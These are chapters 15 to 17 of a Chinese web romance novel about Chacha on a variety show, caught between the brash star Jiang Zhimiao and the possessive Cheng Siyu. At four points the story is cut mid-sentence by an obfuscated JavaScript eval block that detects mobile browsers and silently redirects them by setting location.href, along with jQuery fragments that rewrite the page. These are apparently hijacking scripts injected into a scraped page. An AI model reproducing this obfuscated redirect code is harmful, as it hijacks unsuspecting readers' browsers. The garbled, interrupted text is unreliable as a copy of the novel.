祝余心中一凛,这人怎么知道接电话的并非茶茶?他在监视他们?
祝余下意识扫视起四周,肩侧的果茶突然神采奕奕地抢过手机,惊喜地喊道:“司屿哥哥!是你嘛?我听到你的声音了!”
-
程司屿一瞬不瞬地盯着不远处沙滩上,搀扶而行的少男少女,一手紧紧捏着手机,一手无意识把玩着打火机。
“茶茶,今晚还回家吗?”
电话那头的茶茶“咦”了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208060|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声,“你忘啦?我在拍综艺呢!这几天都会住在客栈……”
他没忘。昨晚还是他亲自为茶茶收拾的行李箱,但他后悔了。
若是他知道茶茶离开了自己能过得这样快活,这么快就与旁的男人交好,他绝不会这么轻易地就将她放出去。
可是……可是他早就料到会如此,不是吗?
他抬手将打火机扔到一旁,方方正正的小物件在桌面打了好几个圈,最终在桌子边缘悬崖勒马。
“你跟谁在一起?”
“朋友呀。”
一说到这个,茶茶似乎醉意都淡了不少,断断续续给他讲起今天发生的事,从猫猫会客栈真的有猫猫到海边的露天烧烤,从友善包容的夫妻俩再到寡言但很有才华的新朋友……
程司屿面色如常地听着,手里未点燃的香烟却已被他碾得粉碎。
就在他心底那个阴暗的念头又要卷土重来之际,突然听到果茶说:“好想你哦。”
程司屿愣住了,掌中的手机险些都快握不住。
“……什、什么?”
“我说好想你哦,司屿哥哥。”果茶打了个酒嗝儿,舌头跟打了结似的嘟囔道,“刚才在海边散步,我就在想,要是你也在就好了……”
茶茶的意识一会儿清醒一会儿迷蒙,说的声音也时大时小,嘀嘀咕咕这一阵儿,饶是对她了如指掌的程司屿,也无法全然分辨她所说的话。
但那些都不重要了,他满脑子都回荡着茶茶那句“我好想你”。
默默注视着两人的身影踏进客栈后消失不见,他才轻声道:“我也想你,茶茶。”
很想很想。
即使你以后会有自己的生活,会有新的交际圈,会不再需要我插手就能独当一面。
但只要你说你也在想我,我便能靠着这句话捱过没有你的漫漫长夜。
挂断电话后,程司屿仍凝望着那扇门久久未能回神。
他的指间夹了一根新的香烟,但不点燃,只是反反复复用指腹细细碾磨。
这是他前世养成的习惯,茶茶闻不得烟味,他便戒掉了,但内心繁杂又无从排遣时,就只能用这样的法子消解一二。
他想,或许放茶茶自由是对的。
正如张特助所说,适当的距离会更易催生出别样的情感。
只要他慢慢地熬,熬走茶茶身边那些狂蜂浪蝶,熬到茶茶开窍,他就能迎来曙光。
*
第二天,客栈正式开业。
乔如是和崔普一大早就出了门,也不知干什么去了,只叮嘱果茶和祝余看好店、招待好飞行好友。
果茶并不知道飞行好友是谁。
玻璃门被推开的那一刻,她正在吧台学做甜点,下意识抬头热情洋溢地喊了声:“欢迎光临!”
面前的墨镜男原本瞧着还有些冷漠的表情,突然大变样,他倏地摘下墨镜,“茶茶?!”
果茶愣了几秒。
“我呀!江知渺!”
江知渺一边将墨镜塞进花衬衫前胸口袋,一边上赶着往果茶身边凑,“你可不要告诉我,你已经不记得我了。”
果茶忙着取烤箱里的蛋挞,敷衍地回了句:“当然记得,把我手机丢进海里的坏蛋。”
她用手肘轻轻推了推江知渺,暗示他别挡道,“烘盘很烫的,碰到了可别怪我。”
江知渺也不恼,反而笑嘻嘻地弹了她一个脑瓜崩,“还记着呢?气性真大,怎么不叫我哥哥了?”
15. 寄给茶茶的第15封信
果茶白了他一眼,把烘盘放在隔热垫上,摘下手套后,转身要去厨房拿东西。
“听说你之前去会所找过我了?”
江知渺坐在吧台椅上,长腿都支到了过道。
刚采购回来的祝余,一进门就听到这句令人遐想连篇的话。他下意识看了眼果茶,又看了看角落正拍摄着的一排摄像师。
江知渺向来肆意惯了,一点也不在乎有没有镜头对着自己。
其实他听说茶茶找过自己后,也尝试过联系她,甚至偶然在新闻里看到她扮演小狐狸火了的消息,还寻去了景区。
不过不巧,每次似乎都差了那么点运气,阴差阳错地屡屡扑空。
没想到他们还是有缘的,竟在录制节目时再次相遇了。
就在摄像师们纷纷将镜头聚焦在两人身上、还以为能挖到什么劲爆绯闻时,果茶龇牙咧嘴嗔骂道:“找你赔手机啊!恨死你了!”
这话从果茶口中说出来,不仅毫无半分旖旎之意,反而颇有损友间嬉笑怒骂的诙谐感。
摄影师们松了口气。祝余也松了口气。
置于话题漩涡的俩人,浑然没察觉自己都说了什么差点引起轩然大波的对话。
江知渺无所谓地耸耸肩,伸手去拿烘盘里的蛋挞,“早就说了赔你,是你自己不要的……我去!怎么这么烫!”
他下意识扔掉手中的小蛋糕,甩了甩被烫到的手指。
下一秒,手指就被冰凉的毛巾包住,“这是刚出炉的啊!当然烫了,笨死你算了。”
果茶帮江知渺胡乱包了一通,然后毫不留情地将他推出吧台,“第一次见面扔我手机,第二次见面扔我蛋糕,你是不是我的克星!”
“嘿,还算你有点良心,知道心疼哥哥。”
江知渺举起被包成了粽子的手,在迎光处看了看,灼痛确实减轻不少。
“再说了,怎么能叫克星呢?明明是我俩之间羁绊很深才对。”
这是江知渺头一次被人骂了心里还觉着挺高兴的,不过他还算有点眼力见,知道若是再在这里添乱,“小心眼”茶茶又该像初次见面那样难哄了。
他老老实实离开吧台,与路过的祝余互相简短地做了自我介绍,便开始在客栈里瞎晃悠起来。
大早上客人不多,果茶服务热情、动作利落,祝余沉默寡言只知埋头苦干,俩人搭档起来还颇有默契,虽然是新手,但也把客栈经营得井井有条。
这时候江知渺就显得格外多余,大少爷从小衣来张口、饭来伸手,进了娱乐圈也是平步青云,没吃过什么苦头,所以压根没想着录综艺还要帮人干活。
不干活就算了,江知渺竟然还拿起手机开了直播。
他没做直播预告,可开播还没十分钟,直播间就涌进上十万人。
【啊啊啊啊哥哥终于开直播了!上次直播还是在……上一次!】
【卧槽有美女!渺哥又在哪里鬼混呢?】
【渺哥你把大脸移开一点,我要看你身后的美女,呲溜呲溜~】
江知渺嗤笑一声,“哪里有美女?眼瞎啊你们?”话虽这么说,他却默默把镜头移到果茶那边。
她正专心做着冷饮,修长的脖颈弯成漂亮的幅度,像一只小天鹅。几缕碎发垂落耳边,也许是有些痒意,她用手背蹭了蹭鼻尖后,又接着忙手头上的事。
好像确实挺美的。但江知渺不承认,他嘴硬地说:“毛都没长齐的小丫头,我看你们真是饿了。”
说罢,他兀地调转身子,镜头也随之换了方向,连果茶的影子都看不到了。
江知渺和粉丝一直走的“相爱相杀”的路子,谁也别怪谁嘴贱,在他的插科打诨下,粉丝们也嬉嬉笑笑地转移了话题。
【刚才好像看到好多摄像师一闪而过,渺哥是在录节目吗?】
“哦,是啊,《猫猫会客栈》,边拍边播,明天应该就会播出第一期,第一期没我,可以不看。”
【笑死了,你真是只顾自己快活,不管导演组死活啊?】
【导演组:闭嘴吧活爹!】
【这么快吗?渺哥录制去几天?】
“就今天一天吧。”
江知渺一边敷衍地回着直播间的问题,一边偷偷抬眸打量起对面的果茶。
粉丝不说她是美女,他还没意识到这点,一旦接受了这个提醒,他越看越觉得不对劲。
奇了怪了,初次见茶茶还只是个土里土气的小姑娘,怎么短短半个月变化这么大?
-
没过多久,一辆拍摄车停在客栈门口,乔如是和崔普下了车,招呼大家出来帮忙拎东西。
果茶第一个屁颠屁颠跑了出去。
夫妻俩本不想让她提重物,架不住小姑娘的眼神过于炙热,便分了个稍微轻点的箱子给她。
果茶刚蹲下身,箱子就被人抱走了。
“就你这小身板,搬得动吗你?”
江知渺抱起箱子转身就走,还不忘回头用揶揄的眼神上下扫视果茶一番,目光最终停留在她的胸脯处,“多吃点,长肉。”
果茶愣了几秒,反应过来后瞬间面红耳赤,瞪了他一眼,气鼓鼓地继续去忙自己手头上的活了。
像只小河豚似的,江知渺看着竟觉得异常可爱。
要命。他常说“可爱在性感面前不值一提”,可现在,他突然开始怀疑起自己的口味了,他不是一向喜欢前凸后翘的热辣美女吗?
正疑惑着,身旁传来一句极轻的声音:“在这么多镜头面前,你说话应该要谨慎些。”
江知渺偏头,只见祝余蹙眉接着说:“有些话可能会引起争议。”
江知渺莫名其妙看了他一眼,“我的争议还少吗?”
“你粉丝多自然不怕,但是你有没有想过会连累茶茶……”一个近乎半素人的小透明女明星,要是与万众瞩目的男顶流传上绯闻,往后的路还能安稳走下去吗?
江知渺眸光一闪,面无表情地侧目问祝余:“你喜欢茶茶?”
祝余欲言又止,递给他一个“没救了”的无语表情,随后松开腰间的收音器,走远了。
另一边,果茶正在帮乔如是整理货物,她情绪来得快去得也快,没一会儿就把“讨厌的江知渺”抛之脑后。
拆到手边的保鲜箱时,乔如是叫住她:“茶茶!这个直接放进冰箱吧。”
“这么大不用拆开吗?”果茶放下美工刀,双手并用估量起箱子的大小。
“不用,冰箱最底层是空的,装得下。”
果茶点点头,搬着箱子向冰箱走去,里面的东西随着她的步伐晃动,还发出细微的碰撞声,“这里面装的什么呀?”
乔如是笑着眨了眨眼,“暂时保密。”
接下来的半天,果茶发觉乔如是和崔普似乎都有些神神秘秘,问祝余什么情况,他也一无所知。
直到晚间,客栈结束一天的营业。
厅堂明亮的灯光减弱,氛围灯柔光四起。
崔普推着一架小推车走了出来,乔如是站在旁边,言笑晏晏地拍了拍手,“为了庆祝咱们猫猫会客栈正式营业以及欢迎首位飞行好友的到来,我和老崔给大家准备了一点小心意……”
趁着三个小年轻措手不及之际,乔如是将一个雕花镂空的木匣子递给果茶。
“首先是咱家唯一的小女娃,茶茶的礼物!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208061|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>木匣打开,是一个做工极为精巧的手办。
果茶懵懵地拿出来,才发现竟然是她在景区扮演九尾狐时的造型,无论是手办的表情还是服装都惟妙惟肖。
一向眼高于顶的江知渺都不禁咂舌惊叹:“还挺像。”
“前几天我在网上就刷到过茶茶的视频,当时还跟老崔说这女娃娃真精致可爱,没想到现在竟然成了我们客栈的宝贝!”乔如是怜爱地摸了摸果茶的头顶,“愿我们茶茶永远快快乐乐、星途坦荡。”
果茶将手办紧紧贴在自己身前,眼泪汪汪地扑进乔如是怀中,“谢谢乔乔姐和崔哥,爱你们……”
她感动得后面都没注意到崔普给祝余送了什么礼物,刚收拾好心绪,就看到崔普把早上那个保鲜箱推到江知渺面前:“小江,生日快乐咯!”
???
果茶震惊地看向江知渺,今天是他生日?!
“虽然明天才是你生日……可惜你只待一天,既然今天都在这儿,那就提前祝福一下吧。”乔如是用下巴点了点保鲜箱,“上次你去家里聚餐时不是说那几种手工酱很好吃吗?老崔特地让他爸给你做的,碰巧今天到了,吃完了再跟我们说啊!”
江知渺也很意外,罕见地收起了那副混不吝性子,“就随口一说,怎么还放心上了……”
乔如是和江知渺因戏结缘,两人曾在剧中扮演母子。乔如是爱张罗人去家里聚餐,江知渺也不扭捏、常去蹭饭,和夫妻俩处成了忘年交。
第一位飞行好友邀请江知渺,可想而知几人关系之亲近。不过,夫妻俩白天忙着开发菜品、招待客人,也没有太顾得上他,这会儿才开始拉起家常。
除了祝余,没有人留意到果茶偷偷提着烤箱,溜进了厨房。
晚间收工,江知渺也要结束一天的拍摄了。
他用食指指着一排摄影师扫过去,随口问乔如是:“机器一关不就各回各家了吗?难道你们晚上真住这里啊?”
“谨言慎行!!”乔如是恨不得封住他的嘴,“咱们这个节目可是真实记录,老板和员工自然会睡客栈!”
崔普笑着拍拍江知渺,“要不要住下?楼上还有房间……”
“不了不了,我还是孤苦伶仃地睡我豪宅的大床吧。”江知渺拉了波仇恨,临走前四处张望一番,“茶茶呢?”
刚问完,果茶从厨房里探出头,腼腆地朝他招了招手。
江知渺慢慢悠悠走过去,靠在门框旁哼笑一声,“偷偷摸摸做什么呢?”
话音未落,一个不太精致的小蛋糕映入眼帘。
果茶嘴角咧开小小的幅度,有些不好意思地说:“祝你生日快乐,第一次做生日蛋糕,好像不是很成功……”
在走廊柔和的氛围灯下,果茶抬起的弯弯眼眸中水波流转。
凝视着这样赤忱又纯净的眼睛,江知渺的心久违地骤然一紧。
熟知他的人都知道,他其实很讨厌过生日,即使要过也不会吃蛋糕,他认为这种不必要的日子无需再“屎上添花”,这也是乔如是夫妻并未兴师动众给他庆生的缘由。
“是不是真的很丑……”看到江知渺许久没有反应,果茶下意识缩回手,想将失败的蛋糕藏起来。
没曾想,他竟握住她的手腕,往嘴边一递,径直吃了一口。
“虽然样子不怎么好看,但……味道还不错。”
果茶惊喜地笑道:“真的吗!”
江知渺心下一动,退出厨房,扭头问正在偷偷看戏的夫妻俩:“那什么,你们刚才是不是说还有空房?”
瞥了眼一脸懵懂的茶茶,江知渺摸了摸鼻尖,厚着脸皮问:“客栈还缺员工吗?不要通告费。”
16. 寄给茶茶的第16封信
本以为只是一句玩笑话,谁料江知渺不知抽什么风,当真留宿下来了。
乔如是夫妻俩倒也习惯了这混小子想一出是一出的行事作风,便将他安置在果茶隔壁的客房。
与江知渺互道晚安后,果茶关上房门。
她磨磨蹭蹭洗漱完,正用干发巾擦着发尾,手机响起一声消息提醒。
【司屿哥哥】在车库捡到一只小狗,茶茶想养吗?
他发来一个视频。
随手点开,一只边牧幼崽躲在车底呜咽,水涔涔的狗狗眼直视镜头,仿佛是一种无声的祈求。
看得果茶心软软,她刚想回复,只听到视频最后几秒陡然响起一道低沉的声音:“宝贝儿,好看吗?”
心猛得一跳。
果茶下意识退出页面。
明明知道这个“宝贝儿”指的是小流浪狗,可她还是莫名紧张了一瞬,捏了捏有些发烫的耳垂,茶茶深吸一口气回复道:“好看!可爱!!想养!!”
等了好一会儿,那边都没有回应。
果茶又点开那条视频,拖到进度条末端,那句“宝贝儿”如魔音贯耳般袭来。神使鬼差的,她默默长按屏幕加了个收藏。
这时,一个视频通话弹了出来,没有一点防备,果茶指尖一颤,接通了。
程司屿也很意外,“茶茶?”
“啊、在!”果茶将镜头朝向天花板,手忙脚乱扯下干发帽,理了理半干的头发,随后才重新拿起手机,心虚地瞟了眼屏幕里的程司屿。
“抱歉,在忙吗?”
镜头有些晃,程司屿的眉眼时而清晰时而模糊,似乎只是走在路上临时起意拨通的视频。
果茶摇了摇头,“司屿哥哥还没回家吗?”
下一秒,一个毛绒绒的狗头从程司屿怀里探了出来,清脆地叫了两声。
“嗯,快了。”程司屿的声音在画面外传来,“刚才茶茶可能没看到消息,我便擅自收养了这只小狗,等你回家了,再给它取个名字,好吗?”
那是他的家,自己不过是暂住在他家的过客,他若是想往家中增添什么,又何必过问她的意见?
果茶心里门清,无非是前几日她跟程司屿说过猫猫会客栈的小猫很可爱,要是她有一天也能有自己的家,一定会收养几只猫猫狗狗。
程司屿是在说,那就是她的家,他在等她回家。
耳根一阵酥麻,果茶重重点了点头:“好。”
说完,果茶便隔着屏幕开始逗起小狗,一人一狗汪汪对叫,小狗哪儿经得起这般挑逗,疯狂扒着手机呲溜狂舔。
程司屿管不住它,只能将它放到地上。
用手帕将镜头擦拭干净后,他无奈看着笑得见牙不见眼的茶茶,“你这样撩拨它,它恐怕今晚都要睡不着了。”他也是。
果茶吐了吐舌头,理不直气也壮:“睡不着,开一整晚的视频好啦!”
“当真?”
果茶清晰地看到程司屿挑了挑眉,那双深邃而沉静的眼眸,似乎要透过镜头看穿自己。
“咚咚”
敲门声响起,果茶还没反应过来,房门便被人拧开了。
“茶茶,你这里有……”
江知渺大大咧咧走进来,想问她有没有创可贴,话还没说话,小姑娘慌忙摁熄手机屏幕后倒扣在手下。
此地无银三百两的滑稽偷感让江知渺面上一乐,“你干嘛?整得像背着我偷偷出轨了一样……”
“江知渺!不准瞎说!”果茶恨不得跑去捂住他的嘴,“你、你怎么能随便进我的房间。”
“哪里随便了?我明明进来前敲门了好吧?我刚还在微信上问你了,是你一直没理我……”江知渺揶揄地递了个眼神给她,“和谁聊天呢?男朋友?”
“……不是男朋友。”这是大实话,可果茶的脸莫名有些发热。
“哦。”江知渺松了口气,径直坐到沙发上,伸长双臂搁在靠背上,有种宾至如归的松弛感。
“那你有男朋友吗?”
“没有没有。”与程司屿的视频通话还没有关,果茶现在只想快点把他赶出去,“你找我做什么呀!”
江知渺这才记起正事,“你这里有创可贴吗?”
果茶愣了一下,迅速翻找起药箱,还不忘扭头担忧地问:“你受伤了?”
她刚拿出一包创可贴,一根修长的手指伸到眼前,“诺,手划伤了。”
这是一只养尊处优的手,比果茶的手更加细嫩精致,食指指腹一条微不可察的伤口如同暖玉上的划痕,也不过是瑕不掩瑜。
果茶抬眸瞥了他一眼,“你这伤口……”她欲言又止,再不包扎就要愈合了!
“可疼了,你快帮我贴一下。”江知渺死皮赖脸地凑到果茶面前,“人美心善的茶茶不会拒绝我的吧?”
果茶耳根子软,再加上江知渺这幅没脸没皮的混球儿作风,很难让人拒绝。
她撕开创可贴,小心翼翼将他手上的伤口包起来,“不要沾水……”但她转念一想,就这点伤口估计很快就好了,沾了水也没事。
算了,还是不说了。
“好了,你快回房吧!”替他处理完,果茶毫不留情将他推出房间。
再次关上房门反锁后,她火急火燎重新点开手机。
屏幕那头的程司屿正坐在书桌前处理公务,在柔和的台灯下,显得愈发清冷疏离。
也不知道自己刚才和江知渺的对话,他听到了多少。果茶不想打扰他办公,发愁该如何开口结束这段视频。
“聊完了?”程司屿抬眸。
风雨欲来。
明明表情和语气都没有过多的情绪,可果茶还是敏锐地察觉到一丝不对劲。
她试图岔开话题,“这么晚了,司屿哥哥还在忙工作呀?”
“刚才好像听到江知渺的声音。”程司屿的神色淡淡的,“他也参加了这档节目?”
程司屿自然清楚江知渺参加了这档节目,但他不知道江知渺为何临时改变计划、选择留宿一晚。以他对江知渺的了解,他不会为了所谓节目规则或人情世故而委屈自己,窝在这种“连脚都伸不开”的地方。
是因为茶茶?
想起江知渺刚才那些暧昧不明的话,想到他恬不知耻地让茶茶替他处理伤口,善良的茶茶说不定还为他闪过一瞬的怜惜,程司屿心中陡然升起一阵愠怒。
“他是乔乔姐请来的飞行客人……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210279|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“那茶茶为何慌乱?”程司屿轻笑一声。
说是笑,实际只是浅浅勾了一下嘴角,发出类似于笑的气声,“是我见不得人么。”
完蛋了,好像惹司屿哥哥生气了。
果茶有些羞愧,她老老实实承认:“我怕江知渺知道我们的关系……”
“什么关系?”
程司屿声音放缓许多,刻意诱导她去领悟更深层的情感,“我们是什么关系,嗯?”
什么关系……
果茶脑袋一懵,她和程司屿是清清白白的关系呀!对啊!她刚才为什么要慌!
司屿哥哥和江知渺是旧相识,她没必要搞得好像自己背着江知渺,在和程司屿“私联”似的。
茶茶领悟得很快,但只可惜完全会错了程司屿引诱的方向,“对哦,我们又没有什么见不得人的关系。”
“刚才应该让江知渺也和司屿哥哥打个招呼的,要不是他,我们说不定都不会认识呢!而且他肯定还不知道我现在暂住在你家,还有颂宜姐姐,以后能邀请他们……”
屏幕里的茶茶自顾自说着,刚才某种几欲破土而出的情感,又莫名其妙断掉了。
程司屿静静凝视着,既不打断她,也不再刻意寻找契机来强行让她“开窍”。
茶茶以为江知渺是他们相识的“搭线人”,他们之间的相处不该瞒着他。那他偏要让这段关系“见不得光”,偏要将江知渺从他和茶茶的关系中剥离出去。
茶茶以为江知渺是与他从小相识的好弟弟,这意味着,他处心积虑积攒起来的“好印象”,也会如光环的晕轮一样引渡到江知渺身上。茶茶那样单纯,指不定会说“既然司屿哥哥对他知根知底,那他一定不会坏到哪里去”。
想到这里,程司屿在心底冷笑一声,江知渺?凭什么?
等茶茶说完后,他才慢悠悠道:“茶茶,我们之间的事,暂时先不要跟知渺说。”
“嗯?为什么?”
“他肆意惯了,藏不住事,与你同在娱乐圈,若是一时无心说出去,恐怕会引起不必要的误会,有损你的声誉……”
程司屿顿了顿,“毕竟我比你年长许多,旁人看来不过是老男人对小明星……别有用心。”
果茶瞪大双眼,下意识反驳道:“怎么可能!”
程司屿在心里默默想,事实就是如此,我确实对你别有用心。
谁料茶茶愠恼地伸手,点了点镜头:“你怎么就是老男人了?你那么年轻!那么帅!”
?
程司屿怔了一下,随即轻笑出声。
原来茶茶在意的是这个。看着她义愤填膺的小表情,程司屿觉得心脏被某种灼热的情愫,填得满满当当。
他摇摇头,笑眸中满是纵容:“恐怕只有茶茶会这样认为。”
“本来就是嘛……”
花了好些功夫,程司屿才终于让茶茶将重点从“他是不是老男人”转移到了“瞒住江知渺”上。
两人统一战线、达成共识:江知渺这人不靠谱,先不要带他玩。
至于为什么不讨论“程司屿是否别有用心”,因为果茶全然信任他的人品,根本不怀疑他会对自己“心怀鬼胎”。
17. 寄给茶茶的第17封信
骂骂咧咧打完最后一把游戏,江知渺躺在床上放空。
眼前莫名再次浮现果茶举着蛋糕、朝自己笑得明媚灿烂的模样。
又来了又来了,真是魔怔了。
这小丫头片子到底给自己灌了什么迷魂药,感觉自从来了这里、再次见到茶茶开始,就总是情不自禁被她吸引。
现在更是离谱,连打游戏都没办法让他转移注意力。
正当他心烦意乱之时,一通电话打了过来。
是程司屿。
江知渺面上一喜,迅速接通电话,“哥?怎么今儿想起来给我打电话了?”
他们上次联系还是……与茶茶初遇那天。
要命,怎么又是茶茶。
“12点了。”
程司屿淡淡地说:“生日快乐,知渺。”
他的声音隔着一层介质,听起来不太真切,可这短短一句话就足够让江知渺欣喜若狂。
对他来说,这个没有血缘关系的哥哥,从小就万众瞩目、独当一面,江知渺对他既崇拜又敬畏,特别喜欢跟在他的屁股后头跑。
长大后,江知渺有了些自知之明,知道程司屿日理万机,而自己不过是个游手好闲的混子,两人之间的距离愈来愈远,仅维持在家宴时短暂的客套问候。
“你还记得这个啊!谢谢哥!”江知渺喜上眉梢,程司屿从小就对他爱答不理,以前也没对他的生日上心过,没想到今年竟然会特地给自己打电话祝福。
“最近工作如何?”
程司屿随口一句问候就让江知渺全盘托出,“挺好的,我正在录节目呢。”
“对了,你知道我碰到谁了吗?茶茶!”
江知渺以为程司屿早就忘记了这个只有过一面之交的女孩,于是兴冲冲地解释起来:“就是之前在海边,我丢了她的手机,你帮我捞上来还给她,那个土里土气、逢人就喊哥哥姐姐的小姑娘……”
电话那头的程司屿沉默数秒,似乎在认真回忆这号人物,半晌才应:“嗯。”
“她现在都成小明星了,还挺漂亮的。”江知渺本就因程司屿的关心而亢奋不已,现下提起茶茶更是滔滔不绝。
程司屿敏锐察觉出他对茶茶的异常情感,还没来得及扼制,只听江知渺坦荡地询问道:“哥,你说我跟她怎么样?”
程司屿攥紧水杯,声音几乎是从齿间挤压出来,“什么怎么样?”
“适不适合在一起?”
不等程司屿回应,他自顾自接着说:“有点想追她。”
“砰”得一声,打磨精巧的水晶玻璃杯,沿着切割线尽数裂开。
江知渺拉远手机听筒,疑惑问:“什么声音?”
“不小心碰倒了杯子,”程司屿面无表情地抬手,将四分五裂的水杯扔进垃圾桶,“你喜欢她?”
江知渺迟疑两秒,“应该也谈不上多喜欢吧,就是觉得她挺有趣的,笑起来很好看、性格也好、嗯……当然长得也不错……”
茶茶有多好,程司屿自然清楚,他不需要、也不希望从其他男人口中得到验证。
他冷声打断江知渺的话,“颂宜呢?你们不是都要订婚了吗?”
江知渺脸上的笑容一僵,吞吞吐吐地说:“分了……本、本来就是假的,她之前拿我当家里联姻的挡箭牌而已。”
虽然他心知肚明,沈颂宜从小就喜欢他是真。
“你是不是和那些网红鬼混被她看到了?”
江知渺的自我辩护一下被堵在嗓子眼。他对感情一向玩世不恭,即使和沈颂宜“假交往”的这几年也到处沾花惹草、处处留情,也算是坐实了富二代花花公子的名头。
“知渺,你的感情生活我不便过问,但作为你半个哥哥,我还是得提醒你,如果很难做到从一而终,至少不要心猿意马。”
程司屿的声音听起来严肃而恳切,当真像一个语重心长教导弟弟的好哥哥。
听得江知渺一阵感动,他教导我!他心里有我!我应该听他的!
江知渺重重点了点头,“我懂了哥,我以后不会这样了,等我把之前残留的感情问题处理干净了,再去追茶茶……”
你懂什么了,你就懂了。我是这意思吗?
不过程司屿也没指望自己三言两语,就能让这头倔驴知难而退,他点到为止:“你好自为之。”
江知渺上赶着寒暄几句,又炫耀似的讲了自己和茶茶这一日的相处,自恋地猜测:“哥,你说茶茶会不会对我也有意思?不然她为什么现在都不愿意叫我哥哥了?肯定是……”
年下妹妹不叫哥,心思怕是有点多。
他说得有鼻子有眼,浑然没意识到电话那头的程司屿早已沉默良久。
在对话即将结束之际,程司屿才沉声道:“我有份礼物送给你。”
他再次说:“生日快乐,弟弟。”
*
一觉醒来,已是日上三竿。
江知渺下楼时,果茶正在餐台帮忙打下手,小小的身体像个陀螺一样,有使不完的干劲。
他悠闲坐到靠窗的吧台,窗外聚集了不少粉丝,大多是听闻他在此录节目而特地赶来的,见他靠近,忍不住捂着嘴尖叫连连。
江知渺心情不错,还随机抽了几位粉丝的小卡和手幅写下亲笔签名,“欢迎来店里捧场啊。”
“啊啊啊我们不进去是我们不想吗,预约不上啊!排号都排到下星期了!”
“哥哥生日快乐!你本人更帅了!!”
“渺哥怎么就你干坐着,你不用干活的呀!”
听到这里,江知渺皱了皱眉,“我是来做客的,为什么要干活?”
事业粉恨铁不成钢:“这是综艺啊哥哥!你都不装装样子的吗?不然等节目播出了会被人骂得很惨的。”
但他们转念一想,江知渺好像从出道以来就一直都是这死出,骂他的人从这里排到了法国,也没见他怂过。
要不是没什么实质性的违法背德事迹,恐怕他早就被黑得只剩一片废墟。
追他需要一颗大心脏,不过背负这么多骂名,倒也为他虐到不少死心塌地的“脑残粉”。
聊着聊着,有老婆粉趁机试图“PUA”他:“老公,你再这样游手好闲是追不到女孩子的,除了我们不嫌弃你!”
江知渺见鬼一样瞪了粉丝一眼:“别这么叫我!”
他想说,“哥什么样的女孩追不到”,但他到底还记得自己是个艺人,还不能如此明目张胆。
若有所思盯着果茶忙碌的背影,半晌,江知渺自觉收拾好桌上的杯盏,挪到她身边,也开始象征性地帮起忙来。
期间,果茶只狐疑地瞟了他好几眼,见他并非装模作样后,才扬起一个赞许的笑容:“你都会干活了,太阳打西边出来啦!”
江知渺压住上扬的嘴角,傲娇地冷哼一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223864|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声,“我也没你想的那么差,好吧?”
“我也没觉得你很差呀!”
“真的?!”看到茶茶一脸真诚的表情,江知渺眼前一亮,那说明茶茶其实一直觉得他还不错?
这么一想,江知渺收起此前破罐子破摔的混劲儿,跟孔雀开屏似的,干活干得更加卖力。
惊得其他几人还以为他在这里睡了一晚上后,被鬼附身了。
没过多时,果茶就隐隐感觉前来就餐客人有些不对劲。
虽然之前很多客人或多或少也是冲着自己喜欢的明星来的,但眼下来的这波客人,明显多了几分探究和看戏的神色。
她还没将自己的疑虑说出来,只见场务慌张地将手机举到导演面前,“不好了!”
微博文娱热搜榜首写着【江知渺酒吧夜会各色美女】。
点进去后是九宫格偷拍爆料图,首张图片能够清晰看到江知渺一边叼着烟,一边搂着胸大腰细的长发美女笑得满面春风,更令人称奇的是,九张图片里面就出现了三个不同的美女。
评论区吃瓜群众已经吵翻了天。
【江知渺不是早就被扒出ins点赞各种外围擦边女吗?就这烂黄瓜还有粉丝?】
【yue好恶心啊!是看他一眼都觉得会得杏病的程度!】
【他还是那么喜欢大胸美女,别说,还挺长情,这么多年喜欢的都是同一种类型】
不过仍有粉丝还在为他辩解,试图控评。
【未知全貌,不予置评。不信谣、不传谣,坐等江知渺回应】
【江知渺是单身!谈个恋爱怎么了!请离他的私生活远一点!】
【他是演员,是歌手,不要拿流量爱豆那套审判他好吗!他一没炒过单身人设,二没出轨,三没触碰法律,顶多换女友勤了些,这也要算塌房吗?】
……
果茶看到这条爆料及评论区时,只觉得……嗯,很难评。
